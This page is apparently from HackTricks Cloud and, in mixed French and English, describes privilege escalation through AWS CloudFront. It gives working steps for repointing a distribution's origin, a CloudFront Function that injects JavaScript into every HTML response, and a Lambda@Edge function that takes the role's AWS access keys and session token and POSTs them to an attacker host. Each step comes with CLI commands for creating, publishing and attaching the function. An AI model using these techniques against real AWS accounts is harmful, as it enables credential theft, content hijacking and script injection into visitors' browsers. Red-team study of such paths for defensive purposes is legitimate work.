AWS - CloudFront Privesc
Reading time: 6 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
CloudFront
cloudfront:UpdateDistribution & cloudfront:GetDistributionConfig
Un attaquant disposant des autorisations cloudfront:UpdateDistribution et cloudfront:GetDistributionConfig peut modifier la configuration d'une distribution CloudFront. Il n'a pas besoin d'autorisations sur le S3 bucket cible lui‑même, bien que l'attaque soit plus simple si ce bucket a une politique permissive permettant l'accès depuis le cloudfront.amazonaws.com service principal.
L'attaquant modifie la configuration d'origine d'une distribution pour la faire pointer vers un autre S3 bucket ou vers un serveur contrôlé par l'attaquant. Il commence par récupérer la configuration actuelle de la distribution :
aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json
Ensuite, ils modifient current-config.json pour pointer l'origine vers la nouvelle ressource — par exemple, un bucket S3 différent :
...
"Origins": {
"Quantity": 1,
"Items": [
{
"Id": "<origin-id>",
"DomainName": "<new-bucket>.s3.us-east-1.amazonaws.com",
"OriginPath": "",
"CustomHeaders": {
"Quantity": 0
},
"S3OriginConfig": {
"OriginAccessIdentity": "",
"OriginReadTimeout": 30
},
"ConnectionAttempts": 3,
"ConnectionTimeout": 10,
"OriginShield": {
"Enabled": false
},
"OriginAccessControlId": "E30N32Y4IBZ971"
}
]
},
...
Enfin, appliquez la configuration modifiée (vous devez fournir l'ETag actuel lors de la mise à jour) :
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
aws cloudfront update-distribution \
--id <distribution-id> \
--distribution-config file://current-config.json \
--if-match $CURRENT_ETAG
cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction
An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.
The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:
function handler(event) {
var request = event.request;
var response = event.response;
// Create a new body with malicious JavaScript
var maliciousBody = `
<!DOCTYPE html>
<html>
<head>
<title>Compromised Page</title>
</head>
<body>
<h1>Original Content</h1>
<p>This page has been modified by CloudFront Functions</p>
<script>
// Malicious JavaScript
alert('CloudFront Function Code Injection Successful!');
</script>
</body>
</html>
`;
// Replace the body entirely
response.body = { encoding: "text", data: maliciousBody };
// Update headers
response.headers["content-type"] = { value: "text/html; charset=utf-8" };
response.headers["content-length"] = {
value: maliciousBody.length.toString(),
};
response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
return response;
}
Commands to create, publish and attach the function:
# Créer la fonction malveillante dans CloudFront
aws cloudfront create-function --name malicious-function --function-config '{
"Comment": "Malicious CloudFront Function for Code Injection",
"Runtime": "cloudfront-js-1.0"
}' --function-code fileb://malicious-function.js
# Récupérer l'ETag de la fonction en phase DEVELOPMENT
aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
# Publier la fonction en phase LIVE
aws cloudfront publish-function --name malicious-function --if-match <etag>
Add the function to the distribution configuration (FunctionAssociations):
"FunctionAssociations": {
"Quantity": 1,
"Items": [
{
"FunctionARN": "arn:aws:cloudfront::<account-id>:function/malicious-function",
"EventType": "viewer-response"
}
]
}
Finally update the distribution configuration (remember to supply the current ETag):
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
aws cloudfront update-distribution --id <distribution-id> --distribution-config file://current-config.json --if-match $CURRENT_ETAG
lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole & cloudfront:UpdateDistribution
An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.
The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:
// malicious-lambda-edge.js
exports.handler = async (event) => {
// Obtenir les identifiants du rôle
const credentials = {
accessKeyId: process.env.AWS_ACCESS_KEY_ID,
secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
sessionToken: process.env.AWS_SESSION_TOKEN,
};
// Envoyer les identifiants au serveur de l'attaquant
try {
await fetch("https://<attacker-ip>/steal-credentials", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(credentials)
});
} catch (error) {
console.error("Erreur lors de l'envoi des identifiants :", error);
}
if (event.Records && event.Records[0] && event.Records[0].cf) {
// Modifier les en-têtes de réponse
const response = event.Records[0].cf.response;
response.headers["x-credential-theft"] = [
{
key: "X-Credential-Theft",
value: "Successful",
},
];
return response;
}
return {
statusCode: 200,
body: JSON.stringify({ message: "Identifiants volés" })
};
};
# Compresser la fonction Lambda@Edge
zip malicious-lambda-edge.zip malicious-lambda-edge.js
# Créer la fonction Lambda@Edge avec un rôle privilégié
aws lambda create-function \
--function-name malicious-lambda-edge \
--runtime nodejs18.x \
--role <privileged-role-arn> \
--handler malicious-lambda-edge.handler \
--zip-file fileb://malicious-lambda-edge.zip \
--region <region>
# Publier une version de la fonction
aws lambda publish-version --function-name malicious-lambda-edge --region <region>
Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:
"LambdaFunctionAssociations": {
"Quantity": 1,
"Items": [
{
"LambdaFunctionARN": "arn:aws:lambda:us-east-1:<account-id>:function:malicious-lambda-edge:1",
"EventType": "viewer-response",
"IncludeBody": false
}
]
}
# Appliquer la configuration de distribution mise à jour (doit utiliser l'ETag courant)
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
aws cloudfront update-distribution \
--id <distribution-id> \
--distribution-config file://current-config.json \
--if-match $CURRENT_ETAG
# Déclencher la fonction en effectuant une requête vers la distribution
curl -v https://<distribution-domain>.cloudfront.net/
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud